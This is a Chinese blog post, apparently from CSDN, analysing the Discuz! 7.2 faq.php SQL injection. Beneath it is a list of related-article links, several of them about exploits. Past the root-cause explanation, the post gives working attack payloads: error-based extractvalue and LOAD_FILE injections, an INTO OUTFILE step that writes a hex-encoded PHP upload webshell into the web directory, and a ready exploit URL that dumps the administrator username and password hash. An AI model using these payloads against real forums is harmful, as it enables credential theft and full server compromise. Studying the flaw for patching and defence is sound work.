7.2 discuz 拿shell_discuz 7.2 SQL 注入漏洞分析

1、漏洞影响范围

该漏洞影响discuz 7.2,discuz 7.2可以从http://www.comsenz.com/downloads/install/discuz下载

2、漏洞成因分析

漏洞存在于discuz根目录的faq.php文件,当程序使用$_GET,$_POST, $_COOKIES传入参数,faq.php,包含的./include/common.inc.php文件中会对这几个对象做处理,使得对象中的每一个键值对变成PHP的变量,具体代码如下所示。同时这一处的代码将所有的值进行了addslashes的处理使得每一处的单引号转义,变成一个位于PHP语言中的字符单引号,该代码位于文件的43行处。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key = daddslashes($_value);

}

}

同时在faq.php的143行开始进行一种查询,在188行的位置代码如下所示。

ksort($gids);

$groupids = array();

foreach($gids as $row) {

$groupids[] = $row[0];

}

此处对$gids做了处理,取出$gids的所有values值并取values值的下标为0的位置,如果value值为“'”则经过addslash的转换变成了“\'”,取下标为0的内容之后变成了“\”,如果value值为array("1234", "12345")则value取值为“1234”,并把渠道的所有values值的下标为0的值组成一个数组$groupids[]。

此时代码执行到如下位置

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

此处将$groupids[]组成起来,组合方式见如下函数,该函数位于global.func.php文件中

function implodeids($array) {

if(!empty($array)) {

return "'".implode("','", is_array($array) ? $array : array($array))."'";

} else {

return '';

}

}

可以看出该函数将传入的$groupids[]组合成为'a1','a2','a3','a4'的形式,即使用“','”进行连接数组各个元素,使用“'”闭合前后。结合前文描述,如果数组中的元素包含“\”则$groupids[]将被组合成为‘a1','\','a3','a4',此时黄色的位置将会被组合成为一个新的字符串,如果a3包含sql语句,则可以早闭合SQL语句造成注入。本案中SQL语句为

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a

ON u.groupid=a.admingid WHERE u.groupid IN ('a1','a2','a3')

此时如果a2为“\”a3赋值称为“) and 1=1#”SQL语句会变成

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a

ON u.groupid=a.admingid WHERE u.groupid IN ('a1','\',') and 1=1#')

继而顺利闭合了前面的括号,造成了注入,在这里可以使用报错注入进行数据查询,例如使用

(extractvalue(1,concat(0x7e,(select user()),0x7e)))

将1=1进行替换。可以进行数据查询操作。

3、漏洞提权

报错注入之后可以使用如下代码进行提权操作,即想办法向web目录传送木马文件

into outfile "C://1.txt" line LINES TERMINATED BY

0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c496e65747075625c5c777777726f6f745c5c44697363757a5f372e325f53435f555446385c5c75706c6f61645c5c6661712e7068705c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a(木马内容)--

此处闭合了select from where的查询,加入了into oufile,使得整体SQL语句变成了select from where into oufile,即变成了select 内容 into outfile的语句,同时使用LINES TERMINATED BY将select的内容进行按行的分割,本来此处常用的是“\n”,这里换成了木马内容,所以将导出一个有木马内容的PHP文件。整体的SQL语句结构变成了“select from where into outfile lines terminated by 木马内容”。

同时可以使用load_file进行读取文件的操作,使用的方式是基于报错的读取方式,注入SQL代码如下所示。

(SELECT 9526 FROM(SELECT COUNT(*),CONCAT(0x71767a7a71,(MID((IFNULL(CAST(HEX(LOAD_FILE('c://s3c/1.txt')) AS CHAR),0x20)),90,150)),0x7170767871,FLOOR(RAND(0)*2))X FROM INFORMATION_SCHEMA.PLUGINS GROUP BY X)a)

4、总结

exp:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x20,password)%20from%20cdb_members%20limit%200,1)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

SQL注入的插入位置和深入的方式有很多,需要对SQL语句的嵌套查询方式进一步学习以了解嵌套查询的输入内容和位置。

Discuz!7.2 SQL注入复现实验 0x01 实验准备 实验原理: 实验工具: UCenter Discuz 7.2安装包 实验环境: 安装 Discuz 网站的服务器(Windows) 安装 python 环境的攻击机 0x01 实验步骤 一、搭建环境 1. 安装UCenter 通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装: 出现错误: 将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCente 阅读详情

相关推荐

Web漏洞挖掘实战:从SQL注入到逻辑漏洞的完整攻防指南

在网络安全领域,漏洞挖掘是识别和修复软件安全缺陷的核心技术。其基本原理是通过系统化测试,在授权范围内发现可能被恶意利用的设计缺陷或逻辑盲点。这项技术的价值在于能够在攻击者之前发现安全弱点,从而推动修复,提升数字世界的整体安全水平。在应用场景上,Web应用因其攻击面广泛、反馈直接,成为最适合初学者入门的典型战场。本文聚焦于SQL注入、XSS跨站脚本、CSRF等常见Web漏洞类型,深入剖析其挖掘思路与验证方法,并系统梳理从信息收集到报告撰写的完整工作流程,为安全从业者提供一套可复用的实战框架。

weixin_30644369的博客 398

discuz7.2漏洞分析

一 参数的入口 这段话的意思时遍历三种提交的方法,获取参数传递的值。 有一个函数是daddslashes,跟进看一下。 这段代码的意思是对数据里的每一个字符都进行转义处理 二 漏洞产生的代码在faq.php195行 跟进implodeid函数,在faq.php的675行 这个函数的功能将数组里的值拆分出来,如图 到了这里我们知道,如果数组值当中存在在 / 或者 ’ ,那么在拼接s...

qq_38415434的博客 1159

SRC漏洞挖掘实战:从信息收集到逻辑漏洞的完整攻防路径

Web安全是网络安全领域的核心组成部分,其本质在于保护Web应用免受恶意攻击。其原理涉及对HTTP协议、前后端交互机制及数据库操作等基础技术的深入理解。掌握Web安全技术不仅能有效防御常见攻击,更能培养系统性的安全攻防思维,在安全研究、渗透测试等场景中具有极高价值。本文聚焦于SRC漏洞挖掘这一实战领域,系统性地拆解了从信息收集、漏洞原理分析到高阶逻辑漏洞挖掘的完整路径。通过深入解析SQL注入、XSS、文件上传等经典漏洞的成因与绕过技巧,并结合信息收集、子域名发现等实战环节,为安全爱好者提供了一套可立即上手的

weixin_34198881的博客 342

discuz7.2sql注入漏洞

今天尝试了discuz7.2动力论坛的sql注入漏洞 原因是由faq.php文件源码存在漏洞引起的 下载官方discuz7.2源码,在本地搭建漏洞环境 http://www.comsenz.com/downloads/install/discuz 下载的三个文件 利用http://localhost:8088/discuz72/upload/install/index.php进行安装...

weixin_40709439的博客 9123

discuz7.2注入漏洞faq.php

复现discuz7.2注入漏洞

dz7.2一键getshell

dz7.2一键getshell,python脚本,亲测成功

Discuz7.2漏洞

发布日期:2010-01-06更新日期:2010-01-07受影响系统:Discuz! Discuz! 7.1Discuz! Discuz! 7.2描述:Discuz!是一款华人地区非常流行的Web论坛程序。Discuz!的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。以下是有漏洞代码段:function showmessage

whrjxyygx的专栏 5216

WKWebView 白屏问题,WKWebView request body丢失问题

1,WKWebView 白屏问题 WKWebView 自诩拥有更快的加载速度,更低的内存占用,但实际上 WKWebView 是一个多进程组件,Network Loading 以及 UI Rendering 在其它进程中执行。初次适配 WKWebView 的时候,我们也惊讶于打开 WKWebView 后,App 进程内存消耗反而大幅下降,但是仔细观察会发现,Other Process 的内存占用会...

weixin_37543822的博客 736

discuz 7.2 faq.php sql注入漏洞,Discuz <= 7.2 /faq.php SQL注入漏洞 EXP

具体漏洞详情我就不多说了,大家可以看freebuf的介绍,链接在下方:http://www.freebuf.com/vuls/37643.html看了网上公布的一大堆exp,发现都不是很好用,就自己写了一个获取管理员帐号密码以及uc_key的就不说了,构造语句就可以了,主要在于getshell,思路主要都是参照http://www.wooyun.org/bugs/wooyun-2014-04813...

weixin_36081891的博客 621

【随机过程】 3 - 随机过程的频域分析1 - 功率谱

随机过程的频域分析 文章目录随机过程的频域分析1. 什么是谱2. 确定信号的频谱2.1 周期信号的频谱2.2 非周期信号的频谱3. 随机信号的谱3.1 随机信号做傅里叶分析的困难3.2 功率谱密度的物理和数学表示形式3.2.1 功率谱密度的物理表示3.2.2 功率谱密度的数学表示3.3 功率谱密度的解读3.3.1 量纲分析3.3.2 谱3.3.3 密度3.3.4 wiener和khinchin3.4 功率谱密度的性质3.4.1 非线性3.4.2 偶函数3.5 wiener-khinchin关系的应用3.6

qq_41741344的博客 3133

Ubuntu开发环境配置——持续更新

本文简要介绍了Ubuntu下的开发环境配置流程和问题分析与解决,更多内容持续更新中。

m0_53365889的博客 2225

Discuz! 7.2 SQL注入exp

已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。参数:1.可直接getshell2.爆管理账号密码3.爆表前缀如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。下载地址:DZ7.2附代码:<?php /** *@author:xiaoma *@blog:www.i0day.com *@date:2014....

weixin_33834628的博客 244

Modbus 通信协议详解

Modbus是由 Modicon(现为施耐德电气公司的一个品牌)在 1979 年发明的,是全球第一个真正用于工业现场的总线协议。ModBus网络是一个工业通信系统,由带智能终端的可编程序控制器和计算机通过公用线路或局部专用线路连接而成。其系统结构既包括硬件、亦包括软件。它可应用于各种数据采集和过程监控。为更好地普及和推动Modbus在基于以太网上的分布式应用,目前施耐德公司已将Modbus协议的所有权移交给 IDA(,分布式自动化接口)组织,并成立了 Modbus-IDA 组织。

Projectsauron 的博客 7万+

渗透测试之利用sql拿shell(附完整流程)【全】

SQL注入的本质是。

ai0070411的博客 1435

手把手教你用EG2153搭建开关电源:SOP-8封装驱动芯片的5个设计技巧

本文详细介绍了使用EG2153自振荡半桥驱动芯片搭建开关电源的五个核心设计技巧。内容涵盖从深入理解芯片工作机制、频率编程计算误区、SOP-8封装的热管理方案,到死区时间评估与外部保护电路设计,以及实战调试与故障排查指南,旨在帮助工程师实现稳定可靠的小功率电源设计。

weixin_29200485的博客 378

TSMC65nm工艺下Virtuoso仿真gm-id曲线的保姆级教程(含ADE设置详解)

本文提供了一份在TSMC 65nm工艺下使用Cadence Virtuoso绘制gm-id曲线的详细教程。内容涵盖从理解gm/id方法学、搭建仿真环境、深度解析ADE设置,到运行DC仿真、提取数据并生成对数坐标曲线的完整流程。教程重点解析了Virtuoso ADE中的关键设置与常见避坑点,旨在帮助模拟集成电路设计初学者快速掌握这一核心设计工具,为高性能电路设计奠定基础。

grpc6streamer的博客 1174

7.2 discuz 拿shell_DZ 7.2 漏洞 - Discuz!-BUG与问题交流 - Discuz! 官方站 - Powered by Discuz!...

我网站 最近老被入侵就在网上 查了查 不知道官网 我转了2个 入侵方法 过来 请 官网管理 和各位高手 看看该怎么预防/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径然后直接getshelluserapp.php?script=notice&view=all&option=deluserapp&action=invite&am...

weixin_39748928的博客 454

【1】Python交叉编译到OpenHarmony标准系统运行(arm32位)

本文介绍如何Python语言如何在OpenHarmony标准系统运行,包括5.0r和4.1r以及4.0r,和未来版本的OpenHarmony版本上。 Python语言在OpenHarmony上使用,需要将Python解释器CPython移植到OpenHarmony标准系统。通过交叉编译的方式。

weixin_58069108的博客 930

Discuz!NT 2.5(20080826更新前)注入

漏洞说明:Discuz!NT 2.5 是康盛创想(北京)科技有限公司旗下的一款功能强大的基于 ASP.net 平台的社区软件。基于先进的 .Net Framework,默认支持 SQLServer数据库,可扩展支持Access、MySQL等多种数据库,支持IIS5、IIS6、IIS7,安全高效、稳定易用,充分发挥 ASP.net 特性,支持自由选择切换皮肤,支持多种其它论坛的数据转换。Discuz

Information Security Technology Organization 6294

OSError We couldn‘t connect to https://huggingface.co to load file, couldn‘t find it chatglm3-6b解决方案

本文主要介绍了OSError: We couldn’t connect to https://huggingface.co to load this file, couldn’t find it in the cached files and it looks like THUDM/chatglm3-6b is not the path to a directory containing a file named config.json.解决方案,希望能对学习python的同学们有所帮助。

weixin_43178406的博客 5万+

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

7.2 discuz 拿shell_discuz! 7.2 manyou插件暴路径&Get Webshell 0day

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。漏洞分析:文件./manyou/sources/notice.php相关代码:if($option == 'del') {$appid = intval($_GET['appid']);$db->query("DELETE FRO...

weixin_42571444的博客 158

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Discuz!7.0-7.2后台settings.inc.php中写shell漏洞

发布时间:2010-02-05 影响版本: Discuz!7.0-7.2漏洞描述: 漏洞详情: if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) { $ucdbpassnew = $settingsnew['uc']['dbpass'...

caiguazheng4921的博客 295

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Discuz! X3.4任意文件删除漏洞(CVE-2018-14729)深度剖析与防御实战

在Web安全领域,文件操作安全是基础且关键的议题,其核心在于对用户输入参数的严格过滤与验证。当应用程序在处理文件路径时未对用户可控的输入(如路径穿越字符`../`)进行有效限制,就可能引发路径穿越漏洞,攻击者可借此访问或操作预期目录之外的文件。这类漏洞的技术价值在于,它往往不是孤立的,而是攻击链的起点,能将一个局部缺陷升级为严重的系统级威胁,例如获取服务器控制权(Getshell)。典型的应用场景包括内容管理系统(CMS)、论坛程序等存在用户上传或文件管理功能的Web应用。本文以经典的Discuz! X3.

weixin_34268843的博客 393

mysql注入反弹_Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

### 简要描述:Discuz!x xss反弹后台无防御sql注入getshell,这里的xss只是做一个药引子,因为xss来自日志功能,然而这个日志功能却又默认关闭的,为了测试我们开启它。这个漏洞应该是所有dz通杀的,我下载了最新版本的所以测试通过......### 详细说明:首先我们开启日志功能,然后存储一个xss看看:测试一个xss页面:[](https://images.seebug.or...

weixin_29915703的博客 696

获取Webshell的常用方法(一)

Webshell是以php、asp、jsp等网站脚本文件形式存在的一种网页后门,攻击者可以利用web请求的方式,获得webshell,控制网站服务器,进而进行执行命令、上传下载文件等操作。本文主要介绍在渗透测试过程中获取Webshell的基本思路,实战中还需就地取材,灵活应对。

Captain_RB的博客 1万+

实战getshell新姿势-SSRF漏洞利用与getshell实战

实战getshell新姿势-SSRF漏洞利用与getshell实战一、什么地方最容易出现SSRF二、SSRF漏洞危害三、SSRF 神器 Curl 的使用四、最常用的跳转绕过五、Python + SSRF 实现端口扫描1. 简单的端口扫描2. 同时观察 Wireshark 整个扫描流程3. 代码实现4. 验证本地是否开启了相应的端口六、利用 Discuz 的 SSRF 漏洞 Getshell 一、什...

Peter 的博客 8367
上一篇: springboot 打卡功能_SpringBoot、SSM、ajax实现考勤打卡功能(详细实现),供新手参考!...
下一篇: 云痕大数据 家长登录_云痕大数据平台的使用对初中英语教与学的作用
weixin_39852647
博客等级 码龄9年 33粉丝 154原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值